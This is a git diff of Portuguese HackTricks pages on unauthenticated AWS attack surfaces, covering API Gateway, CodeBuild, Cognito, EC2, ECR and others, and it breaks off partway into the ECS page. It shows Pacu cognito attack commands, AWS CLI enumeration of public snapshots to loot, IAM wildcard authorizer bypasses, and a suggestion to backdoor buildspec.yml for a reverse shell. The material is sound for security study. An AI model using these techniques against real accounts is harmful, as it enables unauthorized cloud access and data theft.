diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index b1e6b0913..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - Enumeração Não Autenticada do API Gateway
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Bypass de Invocação da API
-
-De acordo com a palestra [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), os Lambda Authorizers podem ser configurados **usando a sintaxe IAM** para conceder permissões para invocar endpoints da API. Isso é retirado [**da documentação**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Permission",
-"Action": ["execute-api:Execution-operation"],
-"Resource": [
-"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-]
-}
-]
-}
-```
-O problema com essa forma de conceder permissões para invocar endpoints é que o **"\*" implica "qualquer coisa"** e **não há mais sintaxe regex suportada**.
-
-Alguns exemplos:
-
-- Uma regra como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar a cada usuário acesso a `/dashboard/user/{username}` dará a eles acesso a outras rotas, como `/admin/dashboard/createAdmin`, por exemplo.
-
-> [!WARNING]
-> Note que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id, por exemplo, isso também pode indicar "qualquer estágio" ou "qualquer método", desde que a regex final ainda seja válida.\
-> Assim, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> Pode validar uma solicitação POST para o estágio de teste para o caminho `/prod/GET/dashboard/admin`, por exemplo.
-
-Você deve sempre ter claro o que deseja permitir o acesso e, em seguida, verificar se outros cenários são possíveis com as permissões concedidas.
-
-Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar autorizadores [**neste github oficial da aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
-
-### Injeção de Política IAM
-
-Na mesma [**palestra**](https://www.youtube.com/watch?v=bsPKk7WDOnE), é exposto o fato de que, se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros como "." ou strings específicas) podem ser incluídos com o objetivo de **contornar restrições**.
-
-### Modelo de URL Pública
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-### Obter ID da Conta a partir da URL pública do API Gateway
-
-Assim como com buckets S3, Data Exchange e URLs de Lambda, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do API Gateway. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\
-Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão).
-
-Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
new file mode 100644
index 000000000..afa1986ae
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
@@ -0,0 +1,52 @@
+# AWS - API Gateway Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+De acordo com a palestra [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers podem ser configurados **usando sintaxe IAM** para conceder permissões para invocar API endpoints. Isso foi retirado [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
+}
+```
+O problema com essa forma de conceder permissões para invocar endpoints é que o **"\*" implica "qualquer coisa"** e não há **mais sintaxe de regex suportada**.
+
+Alguns exemplos:
+
+- Uma regra como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar a cada usuário acesso a `/dashboard/user/{username}` dará a eles acesso a outras rotas como `/admin/dashboard/createAdmin`, por exemplo.
+
+> [!WARNING]
+> Observe que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id por exemplo, isso também pode indicar "qualquer etapa" ou "qualquer método" desde que o regex final ainda seja válido.\
+> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Pode validar uma requisição POST para o stage test no caminho `/prod/GET/dashboard/admin`, por exemplo.
+
+Você deve sempre ter claro o que quer permitir acessar e então verificar se outros cenários são possíveis com as permissões concedidas.
+
+Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar authorizers em [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+No mesmo [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) é mostrado que se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros como "." ou strings específicas) podem ser incluídos ali com o objetivo de **contornar restrições**.
+
+### Modelo de URL pública
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
+### Obter o ID da conta a partir de uma URL pública do API Gateway
+
+Assim como com S3 buckets, Data Exchange e Lambda URLs, é possível descobrir o ID da conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do API Gateway. Isto é feito encontrando o ID da conta caractere por caractere, abusando de wildcards na seção **`aws:ResourceAccount`** da policy.\
+Esta técnica também permite obter **valores das tags** se você souber a tag key (há algumas padrão interessantes).
+
+Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
index b09fa4597..84215df6d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - Cloudfront Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modelo de URL pública
 ```
 https://{random_id}.cloudfront.net
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 5e97e0d8a..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - Acesso Não Autenticado ao CodeBuild
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CodeBuild
-
-Para mais informações, consulte esta página:
-
-{{#ref}}
-../aws-services/aws-codebuild-enum.md
-{{#endref}}
-
-### buildspec.yml
-
-Se você comprometer o acesso de escrita a um repositório contendo um arquivo chamado **`buildspec.yml`**, você poderia **injetar um backdoor** neste arquivo, que especifica os **comandos que serão executados** dentro de um projeto CodeBuild e exfiltrar os segredos, comprometer o que é feito e também comprometer as **credenciais do papel IAM do CodeBuild**.
-
-Observe que mesmo que não haja nenhum arquivo **`buildspec.yml`**, mas você saiba que o Codebuild está sendo usado (ou um CI/CD diferente), **modificar algum código legítimo** que será executado também pode te dar um shell reverso, por exemplo.
-
-Para algumas informações relacionadas, você pode consultar a página sobre como atacar o Github Actions (semelhante a isso):
-
-{{#ref}}
-../../../pentesting-ci-cd/github-security/abusing-github-actions/
-{{#endref}}
-
-## Runners do GitHub Actions auto-hospedados no AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
-
-Como [**indicado na documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), é possível configurar o **CodeBuild** para executar **ações do Github auto-hospedadas** quando um fluxo de trabalho é acionado dentro de um repositório Github configurado. Isso pode ser detectado verificando a configuração do projeto CodeBuild, pois o **`Tipo de evento`** precisa conter: **`WORKFLOW_JOB_QUEUED`** e em um Fluxo de Trabalho do Github porque ele selecionará um runner **auto-hospedado** assim:
-```bash
-runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
-```
-Esse novo relacionamento entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, já que o código no Github estará sendo executado em um projeto CodeBuild com um papel IAM anexado.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
new file mode 100644
index 000000000..cca06ca6d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
@@ -0,0 +1,33 @@
+# AWS - CodeBuild Acesso Não Autenticado
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+For more info check this page:
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+Se você comprometer o acesso de escrita a um repositório que contenha um arquivo chamado **`buildspec.yml`**, você poderia **backdoor** esse arquivo, que especifica os **comandos que vão ser executados** dentro de um projeto CodeBuild e exfiltrate os segredos, comprometer o que é executado e também comprometer as **CodeBuild IAM role credentials**.
+
+Note que mesmo que não exista nenhum arquivo **`buildspec.yml`**, se você souber que o Codebuild está sendo usado (ou outro CI/CD), **modificar algum código legítimo** que será executado também pode te dar um reverse shell, por exemplo.
+
+For some related information you could check the page about how to attack Github Actions (similar to this):
+
+{{#ref}}
+../../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
+
+As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
+```bash
+runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
+```
+Essa nova relação entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, pois o código no Github será executado em um projeto CodeBuild com uma IAM role anexada.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
deleted file mode 100644
index 884825f8b..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Enumeração Não Autenticada do Cognito
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito Não Autenticado
-
-Cognito é um serviço da AWS que permite que desenvolvedores **concedam acesso aos serviços da AWS para os usuários de seus aplicativos**. Os desenvolvedores concederão **funções IAM a usuários autenticados** em seu aplicativo (potencialmente pessoas poderão apenas se inscrever) e também podem conceder uma **função IAM a usuários não autenticados**.
-
-Para informações básicas sobre o Cognito, consulte:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### ID do Pool de Identidade
-
-Pools de Identidade podem conceder **funções IAM a usuários não autenticados** que apenas **conhecem o ID do Pool de Identidade** (o que é bastante comum de **encontrar**), e um atacante com essa informação poderia tentar **acessar essa função IAM** e explorá-la.\
-Além disso, funções IAM também podem ser atribuídas a **usuários autenticados** que acessam o Pool de Identidade. Se um atacante puder **registrar um usuário** ou já tiver **acesso ao provedor de identidade** usado no pool de identidade, ele poderá acessar a **função IAM concedida a usuários autenticados** e abusar de seus privilégios.
-
-[**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
-
-### ID do Pool de Usuários
-
-Por padrão, o Cognito permite **registrar novos usuários**. Ser capaz de registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou à **função de acesso IAM autenticada de um Pool de Identidade** que está aceitando como provedor de identidade o Pool de Usuários do Cognito. [**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
-
-### Módulos Pacu para pentesting e enumeração
-
-[Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
-
-Para uma descrição das funções dos módulos, consulte a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, consulte a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Uso
-
-Exemplo de uso do `cognito__attack` para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
new file mode 100644
index 000000000..a646da735
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
@@ -0,0 +1,44 @@
+# AWS - Cognito Enumeração Não Autenticada
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito Não Autenticado
+
+Cognito é um serviço da AWS que permite aos desenvolvedores **conceder aos usuários do aplicativo acesso a serviços da AWS**. Os desenvolvedores irão conceder **IAM roles a usuários autenticados** em seu app (potencialmente pessoas poderão simplesmente se registrar) e também podem conceder um **IAM role a usuários não autenticados**.
+
+Para informações básicas sobre o Cognito veja:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool ID
+
+Identity Pools podem conceder **IAM roles a usuários não autenticados** que apenas **conheçam o Identity Pool ID** (o que é bastante comum de **encontrar**), e um atacante com essa informação poderia tentar **acessar esse IAM role** e explorá-lo.  
+Além disso, IAM roles também podem ser atribuídos a **usuários autenticados** que acessam o Identity Pool. Se um atacante conseguir **registrar um usuário** ou já tiver **acesso ao provedor de identidade** usado no identity pool, ele poderia acessar o **IAM role concedido a usuários autenticados** e abusar de seus privilégios.
+
+[**Veja como fazer isso aqui**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+
+### User Pool ID
+
+Por padrão o Cognito permite **registrar novos usuários**. Poder registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou ao **IAM role de acesso autenticado de um Identity Pool** que aceita como provedor de identidade o Cognito User Pool. [**Veja como fazer isso aqui**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+
+### Pacu modules for pentesting and enumeration
+
+[Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalada de privilégios baseada em atributos customizáveis modificáveis, credenciais de identity pool utilizáveis, roles assumíveis em id tokens, etc.
+
+Para uma descrição das funções dos módulos veja a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Uso
+
+Exemplo de uso de `cognito__attack` para tentar criação de usuários e todos os vetores de privesc contra um determinado identity pool e user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
deleted file mode 100644
index f18b8048d..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - DocumentDB Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modelo de URL Pública
-```
-<name>.cluster-<random>.<region>.docdb.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..d7e9219da
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - DocumentDB Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Modelo de URL pública
+```
+<name>.cluster-<random>.<region>.docdb.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index 051fa6980..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# AWS - Acesso Não Autenticado ao DynamoDB
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dynamo DB
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-Além de dar acesso a todas as contas AWS ou a alguma conta AWS externa comprometida, ou ter algumas injeções SQL em uma aplicação que se comunica com o DynamoDB, não conheço mais opções para acessar contas AWS a partir do DynamoDB.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
new file mode 100644
index 000000000..ac7a81b32
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB Acesso Não Autenticado
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+Além de conceder acesso à conta AWS inteira ou a alguma conta AWS externa comprometida, ou ter SQL injections em uma aplicação que se comunica com DynamoDB, não conheço outras opções para acessar contas AWS a partir do DynamoDB.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
index 8b01b2651..ebc39c43e 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
@@ -1,18 +1,18 @@
-# AWS - EC2 Enum Não Autenticado
+# AWS - EC2 Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## EC2 e Serviços Relacionados
+## EC2 & Serviços Relacionados
 
-Verifique nesta página mais informações sobre isso:
+Confira nesta página mais informações sobre isto:
 
 {{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
 ### Portas Públicas
 
-É possível expor **qualquer porta das máquinas virtuais para a internet**. Dependendo de **o que está rodando** na porta exposta, um atacante pode abusar disso.
+É possível expor **qualquer porta das máquinas virtuais para a internet**. Dependendo do **que está sendo executado** na porta exposta, um atacante pode abusar dela.
 
 #### SSRF
 
@@ -20,9 +20,9 @@ Verifique nesta página mais informações sobre isso:
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}
 
-### AMIs Públicas e Snapshots EBS
+### AMIs Públicas & EBS Snapshots
 
-AWS permite **dar acesso a qualquer um para baixar AMIs e Snapshots**. Você pode listar esses recursos muito facilmente a partir da sua própria conta:
+AWS permite **conceder a qualquer pessoa acesso para baixar AMIs e Snapshots**. Você pode listar esses recursos muito facilmente a partir da sua própria conta:
 ```bash
 # Public AMIs
 aws ec2 describe-images --executable-users all
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
 aws ec2 describe-snapshots --restorable-by-user-ids all
 aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
 ```
-Se você encontrar um snapshot que pode ser restaurado por qualquer pessoa, certifique-se de verificar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para obter instruções sobre como baixar e saquear o snapshot.
+Se você encontrar um snapshot que possa ser restaurado por qualquer pessoa, verifique [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para instruções sobre como baixar e saquear o snapshot.
 
 #### Modelo de URL pública
 ```bash
@@ -51,4 +51,4 @@ https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
 ```bash
 aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
index ab7739fe8..d674c5301 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
@@ -1,23 +1,23 @@
-# AWS - ECR Enum Não Autenticado
+# AWS - ECR Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## ECR
 
 Para mais informações, consulte:
 
 {{#ref}}
-../aws-services/aws-ecr-enum.md
+../../aws-services/aws-ecr-enum.md
 {{#endref}}
 
 ### Repositórios de registro público (imagens)
 
-Como mencionado na seção ECS Enum, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se um URL de repositório público for localizado por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
+Como mencionado na seção ECS Enum, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se a URL de um repositório público for localizada por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
 ```bash
 aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
 ```
 > [!WARNING]
-> Isso também pode acontecer em **registros privados** onde uma política de registro ou uma política de repositório está **concedendo acesso, por exemplo, a `"AWS": "*"`**. Qualquer pessoa com uma conta AWS poderia acessar esse repositório.
+> Isso também pode acontecer em **registros privados** onde uma política de registro ou uma política de repositório está **concedendo acesso por exemplo a `"AWS": "*"`**. Qualquer pessoa com uma conta AWS poderia acessar esse repositório.
 
 ### Enumerar Repositório Privado
 
@@ -27,4 +27,4 @@ As ferramentas [**skopeo**](https://github.com/containers/skopeo) e [**crane**](
 skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
 crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
deleted file mode 100644
index 04cfe8151..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - ECS Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Grupo de Segurança ou Balanceador de Carga Acessível Publicamente para Serviços ECS
-
-Um grupo de segurança mal configurado que **permite tráfego de entrada da internet (0.0.0.0/0 ou ::/0)** para os serviços Amazon ECS pode expor os recursos da AWS a ataques.
-```bash
-# Example of detecting misconfigured security group for ECS services
-aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
-
-# Example of detecting a publicly accessible load balancer for ECS services
-aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..86e3625c3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
@@ -0,0 +1,23 @@
+# AWS - ECS Enumeração Não Autenticada
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Para mais informações, veja:
+
+{{#ref}}
